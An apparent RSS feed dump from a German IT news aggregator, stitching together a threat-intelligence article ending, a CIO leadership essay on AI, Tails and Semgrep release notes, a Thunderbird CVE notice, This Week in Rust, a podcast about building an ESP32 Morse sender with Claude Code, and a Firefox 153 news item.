Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.

If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested before the attack.

Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.

Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.

Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.

Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations now. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[AI success requires a full-stack CIO]]> https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/ https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/ Thu, 23 Jul 2026 11:43:10 +0200 📰 IT Nachrichten tsecurity.de

Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?

It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.

After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.

Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.

I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, influence a board, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.

Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.

While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.

That versatility gives Talasaz a unique lens on how CIOs can deliver value with AI.

Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.

The full-stack CIO: Leading with clarity

A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.

The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.

And those who execute best lead with clarity, Talasaz says.

“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”

One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.

As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.

And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.

“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”

At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.

Reducing organizational friction

Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”

Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?

Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.

AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.

Operating model as strategy enabler

AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.

Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.

“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.

The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.

This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.

Talasaz points out that technology leaders tend to speak in terms of transformation. He suggests CIOs consider a different word: reinvention.

As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.

Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.

Closing the gap between strategy and execution

Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”

As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”

Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.

Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.

The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.

This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.

Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to reach out to me directly.

]]> <![CDATA[New Release: Tails 7.10]]> https://tsecurity.de/de/3688527/it-security-tools/new-release-tails-710/ https://tsecurity.de/de/3688527/it-security-tools/new-release-tails-710/ Thu, 23 Jul 2026 11:24:32 +0200 💾 IT Security Tools tsecurity.de

New features

New shutdown procedure

Tails now uses the standard shutdown procedure from GNOME.

The standard shutdown procedure is a bit slower, but better prevents data loss.

For example, the Power Off confirmation dialog informs you if an application needs to be closed or an open document needs to be saved before shutting down.

Even without confirming or saving the open documents, Tails will shut down after 60 seconds.

You can still use the faster emergency shutdown as before.

Celluloid video player

We replaced GNOME Videos with Celluloid , a more modern and reliable video player.

For added security, Celluloid cannot access the network. You can either:

  • Open online videos, like MP4 and AVI files, in Tor Browser.
  • Open online streaming addresses, like IPTV and HLS addresses, in VLC , installed as additional software.

Celluloid doesn't work on some computer from 2011 or earlier.

You can use VLC instead, installed as additional software.

Changes and updates

  • Update Tor Browser to 15.0.19.

  • Update some firmware packages. This improves support for newer hardware: graphics, Wi-Fi, and so on.

For more details, read our changelog.

Get Tails 7.10

To upgrade your Tails USB stick and keep your Persistent Storage

  • Automatic upgrades are available from Tails 7.0 or later to 7.10.

  • If you cannot do an automatic upgrade or if Tails fails to start after an automatic upgrade, please try to do a manual upgrade.

To install Tails 7.10 on a new USB stick

Follow our installation instructions.

The Persistent Storage on the USB stick will be lost if you install instead of upgrading.

To download only

If you don't need installation or upgrade instructions, you can download Tails 7.10 directly:

Support and feedback

For support and feedback, visit the Support section on the Tails website.

]]> <![CDATA[Tails 7.10]]> https://tsecurity.de/de/3688478/it-security-tools/tails-710/ https://tsecurity.de/de/3688478/it-security-tools/tails-710/ Thu, 23 Jul 2026 11:07:50 +0200 💾 IT Security Tools tsecurity.de New features

New shutdown procedure

Tails now uses the standard shutdown procedure from GNOME.

The standard shutdown procedure is a bit slower, but better prevents data loss.

For example, the Power Off confirmation dialog informs you if an application needs to be closed or an open document needs to be saved before shutting down.

Even without confirming or saving the open documents, Tails will shut down after 60 seconds.

You can still use the faster emergency shutdown as before.

Celluloid video player

We replaced GNOME Videos with Celluloid, a more modern and reliable video player.

For added security, Celluloid cannot access the network. You can either:

  • Open online videos, like MP4 and AVI files, in Tor Browser.
  • Open online streaming addresses, like IPTV and HLS addresses, in VLC, installed as additional software.

Celluloid doesn't work on some computer from 2011 or earlier.

You can use VLC instead, installed as additional software.

Changes and updates

  • Update Tor Browser to 15.0.19.

  • Update some firmware packages. This improves support for newer hardware: graphics, Wi-Fi, and so on.

For more details, read our changelog.

Get Tails 7.10

To upgrade your Tails USB stick and keep your Persistent Storage

  • Automatic upgrades are available from Tails 7.0 or later to 7.10.

  • If you cannot do an automatic upgrade or if Tails fails to start after an automatic upgrade, please try to do a manual upgrade.

To install Tails 7.10 on a new USB stick

Follow our installation instructions.

The Persistent Storage on the USB stick will be lost if you install instead of upgrading.

To download only

If you don't need installation or upgrade instructions, you can download Tails 7.10 directly:

]]> <![CDATA[CVE-2026-14899 | Mozilla Thunderbird up to 140.12/152 MIME Header Parsing off-by-one (Nessus ID 329091)]]> https://tsecurity.de/de/3688440/sicherheitsluecken/cve-2026-14899-mozilla-thunderbird-up-to-14012152-mime-header-parsing-off-by-one-nessus-id-329091/ https://tsecurity.de/de/3688440/sicherheitsluecken/cve-2026-14899-mozilla-thunderbird-up-to-14012152-mime-header-parsing-off-by-one-nessus-id-329091/ Thu, 23 Jul 2026 10:57:57 +0200 🕵️ Sicherheitslücken tsecurity.de critical has been detected in Mozilla Thunderbird up to 140.12/152. Affected is an unknown function of the component MIME Header Parsing. This manipulation causes off-by-one. This vulnerability is tracked as CVE-2026-14899. The attack is possible to be carried out remotely. No exploit exists. You should upgrade the affected component.]]> <![CDATA[This Week In Rust: This Week in Rust 661]]> https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/ https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/ Thu, 23 Jul 2026 07:18:12 +0200 💾 Tools tsecurity.de Hello and welcome to another issue of This Week in Rust! Rust is a programming language empowering everyone to build reliable and efficient software. This is a weekly summary of its progress and community. Want something mentioned? Tag us at @thisweekinrust.bsky.social on Bluesky or @ThisWeekinRust on mastodon.social, or send us a pull request. Want to get involved? We love contributions.

This Week in Rust is openly developed on GitHub and archives can be viewed at this-week-in-rust.org. If you find any errors in this week's issue, please submit a PR.

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Updates from Rust Community

Official
Newsletters
Project/Tooling Updates
Observations/Thoughts
Rust Walkthroughs

Crate of the Week

This week's crate is xan, a TUI toolkit to work with CSV files.

Thanks to Simeon H.K. Fitch for the suggestion!

Please submit your suggestions and votes for next week!

Calls for Testing

An important step for RFC implementation is for people to experiment with the implementation and give feedback, especially before stabilization.

If you are a feature implementer and would like your RFC to appear in this list, add a call-for-testing label to your RFC along with a comment providing testing instructions and/or guidance on which aspect(s) of the feature need testing.

No calls for testing were issued this week by Rust, Cargo, Rustup or Rust language RFCs.

Let us know if you would like your feature to be tracked as a part of this list.

Call for Participation; projects and speakers

CFP - Projects

Always wanted to contribute to open-source projects but did not know where to start? Every week we highlight some tasks from the Rust community for you to pick and get started!

Some of these tasks may also have mentors available, visit the task page for more information.

  • No Calls for participation were submitted this week.

If you are a Rust project owner and are looking for contributors, please submit tasks here or through a PR to TWiR or by reaching out on Bluesky or Mastodon!

CFP - Events

Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.

  • No Calls for papers or presentations were submitted this week.

If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!

Updates from the Rust Project

576 pull requests were merged in the last week

Compiler
Library
Cargo
Rustdoc
Clippy
Rust-Analyzer
Rust Compiler Performance Triage

The two most notable changes this week were #159115, which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks, and #159091, which enabled PGO for rustdoc, which makes it ~3-4% faster across the board.

There were two large rollups with tiny performance regressions, which made it difficult to find the offending PRs.

Triage done by @Kobzol. Revision range: 5503df87..d527bc9b

Summary:

(instructions:u) mean range count
Regressions ❌
(primary)		 0.4% [0.2%, 1.0%] 40
Regressions ❌
(secondary)		 0.7% [0.2%, 4.6%] 69
Improvements ✅
(primary)		 -2.0% [-6.2%, -0.2%] 136
Improvements ✅
(secondary)		 -2.6% [-8.4%, -0.2%] 119
All ❌✅ (primary) -1.4% [-6.2%, 1.0%] 176

2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups 34 artifact comparisons made in total

Full report here.

Approved RFCs

Changes to Rust follow the Rust RFC (request for comments) process. These are the RFCs that were approved for implementation this week:

  • No RFCs were approved this week.
Final Comment Period

Every week, the team announces the 'final comment period' for RFCs and key PRs which are reaching a decision. Express your opinions now.

Tracking Issues & PRs
Rust Compiler Team (MCPs only) Leadership Council Unsafe Code Guidelines

No Items entered Final Comment Period this week for Cargo, Language Reference, Language Team or Rust RFCs.

Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.

New and Updated RFCs

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Rusty Events between 2026-07-22 - 2026-08-19 🦀

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If you are running a Rust event please add it to the calendar to get it mentioned here. Please remember to add a link to the event too. Email the Rust Community Team for access.

Jobs

Please see the latest Who's Hiring thread on r/rust

Quote of the Week

We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.

– Carl Lerche on r/rust about the launch of topcoat

Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.

Please submit quotes and vote for next week!

This Week in Rust is edited by:

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Discuss on r/rust

]]> <![CDATA[HPR4689: Cheap Yellow Display Project Part 8: Writing the code]]> https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/ https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/ Thu, 23 Jul 2026 02:06:01 +0200 🎥 Podcasts tsecurity.de This show has been flagged as Clean by the host.

Hello, again. This is Trey.

Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.

If you wish to catch up on earlier episodes, you can find them on my HPR profile page https://www.hackerpublicradio.org/correspondents/0394.html

It is hard to believe that I started this project and the HPR series to document it more than a year ago. Time flies. Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside. And once I set it aside, it was difficult to get back to again. The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.

We live in a different world now than we did when I began this project. Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs. "Vibe coding" is transforming the way we make software, and now everyone is a developer.

Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work. We are blessed to have access to a wide range of training and to powerful tools which support the process. Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more. My role is not that of a developer, and I have had no need for Claude Code at work. There are plenty of other tools for me to use.

But at home, I thought... I could install Claude Code at home to experiment with and to learn. And then it hit me. I wonder if I could use Claude Code to help me with my stalled CYD project.

"Hello, my name is Trey, and I am a fraud."

OK. I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

As I mentioned, I was unable to use the laptop on which I created the original GUI code. But no worries, because It was all on GitHub, right?

So, I began by trying to install Claude Code on one of my Ubuntu machines. That failed miserably, and all the instructions I found online recommended running it on Windows. So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11. Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

Once I went through all the hoops for installing and setting up my basic subscription, I got to work. I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan. So my first prompt was as follows:

"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

Claude asked me for the URL for my Github repository, and I provided it. After thinking for a bit, it produced a project plan.

CYD Morse Sender — Step-by-Step Build Plan

What You Already Have

- 3 fully designed LVGL screens (Send, Config, Keyboard)

- 7 send buttons with green styling on the Send Screen

- Speed slider (5–30 WPM) and program slot dropdown on Config Screen

- Text area + LVGL keyboard widget on Keyboard Screen

- Display driver and touchscreen hardware initialized (but touch read was stubbed out)

---

Phase 1: Fix Touchscreen Input

Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.

Phase 2: Persistent Message Storage

Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

Phase 3: Config Screen — Slot Selection & Speed

Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

Phase 4: Keyboard Screen — Capture and Save Text

On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

Phase 5: Morse Code Engine

Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

Phase 6: Non-Blocking LED Transmission

State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay(). LED on GPIO 17 (blue).

Phase 7: Wire the Send Buttons

Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

Phase 8: Integration & Polish

Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

---

Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

This was wild! Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out". Ugh. This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - https://hackerpublicradio.org/eps/hpr4532/index.html ) and not the ones that I finally got working properly (Episode 07 – HPR4624 - https://hackerpublicradio.org/eps/hpr4624/index.html ). That was my own fault. Did I mention that I don't get Git? I REALLY need to learn to properly use Git!

But, we have a plan, broken down by eight numbered phases. And they seem to address all the functionality I wanted with a few additional things I had not thought about. Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

Alright. Let's see what we can do. The first phase is to fix the touchscreen input.

Claude took me through it step-by-step, asking as it needed to read specific project files.

Finally, it wrote a new ui.ino code file to my speficied output directory for me to test. I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

Well, that is... interesting. The display looked nothing like it was supposed to. There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.

I spent the next hour or so trying to explain what I was seeing to a chat bot. Claude recommended potential fixes which either did nothing or made the situation worse. I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.

Then I had a thought. I prompted Claude:

If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed. It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file. It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.

It recommended changes, and then asked permission to make those changes, file by file. .h files & .c files, Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time. Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes. But now it was not asking additional permission to write to each of the impacted files.

Next, Code compiled and downloaded. Different screen, but not right. Again, I took a picture and gave it to Claude to analyze. So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

The test pattern was supposed to cover the entire rectangular screen. But parts of the pattern were in a square on the screen and parts were not. Another photograph and analysis, told Claude that there were some rotation/screensize issues.

We repeated this several times. Some resulted in improvement, and others did not.

This is the point where I noticed something interesting. Not about Claude, specifically, or about the app. But I noticed something interesting about myself and about the process.

Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution. Then another problem would repeat the cycle. Success in the end was great, but the emotional extremes during the process were not always pleasant.

Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

But I also ran into another issue. Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were. But in reality, the output of the test pattern was rotated 90 degrees from the actual screen. It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates. It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

Again, while it was frustrating, it was much less stressful.

We proceeded to Phase 2: Persistent Message Storage where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

Next, we combined elements of Phase 5: Morse Code Engine , Phase 6: Non-Blocking LED Transmission , and Phase 7: Wire the Send Buttons together. Building the morse code engine was an area I had been thinking about for a while. I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series. The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.

So, I was happy that we were building the morse code engine directly. The code for it may be found in morse.h, which uses a constant character lookup table to define each character. Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series. It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

Then, Phase 3: Config Screen — Slot Selection & Speed allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure. This forced us to work on Phase 4: Keyboard Screen — Capture and Save Text which is used to type the entries for each Send button. At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

During this phase we discovered several bugs which seemed to cause random freezes. Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me". I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project. I still do not 100% get git, but we are successfully using it.

You can find all these files in my GitHub repo ( https://github.com/jttrey3/CYD_MorseSender ) where they are shared under a GPL 3.0 license.

There are still several additional steps I plan to complete in the next few months.

1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio. This will require a battery power source, charge controller, and more hardware.

  1. I... make that "We" (Claude & I) will be modifying the code to support an audio side tone through an attached speaker when sending code
  2. We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.
  3. We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.

Does using AI to develop this code make me a fraud? It still feels like it in some ways.

Does it make me more productive? ABSOLUTELY! I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week. If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

Does it empower and inspire me to do more projects like this? 100% I feel like I had support working with me the whole way. I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

I will be wrapping up this series soon, without any more 6 month gaps, I hope.

Until next time...

Provide feedback on this episode.

]]> <![CDATA[Release v1.171.0]]> https://tsecurity.de/de/3687763/it-security-tools/release-v11710/ https://tsecurity.de/de/3687763/it-security-tools/release-v11710/ Thu, 23 Jul 2026 01:20:41 +0200 💾 IT Security Tools tsecurity.de 1.171.0 - 2026-07-22

### Added

  • Added support for the OpenTofu .tofu file extension. Because OpenTofu uses the same HCL grammar as Terraform, .tofu files are now automatically detected and scanned as Terraform, so they are picked up by recursive scans and Terraform rulesets (e.g. p/terraform) with no extra configuration. (ENGINE-2884)

### Changed

  • The window for collecting git contributor information during semgrep ci has been extended from the last 30 days to the last 90 days, to match the updated usage policy. (contributor-window-90-days)

### Fixed

  • Fixed a source of rare, nondeterministic crashes and incorrect results caused
    by an OCaml compiler bug. Semgrep now builds against a compiler fork that
    backports the upstream fix. (ocaml_codegen_fix)
  • Fixed excessive heap growth after explicit major garbage collections. Semgrep
    now builds against an OCaml compiler that improves garbage collection duty
    cycle pacing. (ocaml_gc_pacing_fix)
  • Improved the Scan Status output when no code rules will run (e.g. a
    Secrets-only or Supply-Chain-only scan). The summary line no longer reports a
    confusing "0 Code rules", and the "Code Rules" section now states explicitly
    either that code scanning is not enabled or that there are no code rules to run,
    instead of printing an empty table. (ENGINE-2878)
  • Fixed lockfileless Gradle dependency resolution failing with "Parsing
    dependency output failed (Resolve_gradle.gradle_resolved_dependency)". The
    github-dependency-graph-gradle-plugin used during resolution was fetched
    unpinned, and its 1.4.2 release renamed keys in its JSON output. The plugin is
    now pinned to 1.4.1. (sc-3738)
]]> <![CDATA[Firefox 153 Released with HDR Video, Smarter PDF Tools, Better Privacy, and New Linux Improvements]]> https://tsecurity.de/de/3687760/unix-server/firefox-153-released-with-hdr-video-smarter-pdf-tools-better-privacy-and-new-linux-improvements/ https://tsecurity.de/de/3687760/unix-server/firefox-153-released-with-hdr-video-smarter-pdf-tools-better-privacy-and-new-linux-improvements/ Thu, 23 Jul 2026 01:17:50 +0200 🐧 Unix Server tsecurity.de
Firefox 153 Released with HDR Video, Smarter PDF Tools, Better Privacy, and New Linux Improvements
by George Whittaker

Mozilla has officially released Firefox 153, bringing another round of improvements to its open-source web browser. The latest version introduces new multimedia capabilities, enhanced PDF editing tools, stronger privacy protections, better support for modern web technologies, and several features aimed at improving the browsing experience across Linux, Windows, and macOS. Firefox 153 became available on the stable release channel on July 21, 2026.

While this isn't a major redesign, Firefox 153 delivers a collection of practical updates that benefit both everyday users and web developers.

HDR Video Playback Comes to Windows

One of the headline features in Firefox 153 is support for High Dynamic Range (HDR) video playback on compatible Windows systems.

Users with HDR-capable displays and Windows HDR enabled can now enjoy richer colors, improved contrast, and brighter highlights when watching supported online video content. Mozilla notes that certain laptop displays offering only "HDR video streaming" are not currently supported, and some HDR videos recorded on mobile phones may still have limitations.

Although this feature is Windows-specific, it represents another step toward bringing Firefox in line with modern multimedia standards.

PDF Editing Becomes Even More Powerful

Mozilla continues expanding Firefox's built-in PDF editor, eliminating the need for third-party applications in many situations.

Firefox 153 introduces the ability to:

  • Merge multiple PDF documents
  • Insert images as new PDF pages
  • Continue using existing editing tools such as annotations, page organization, and text editing

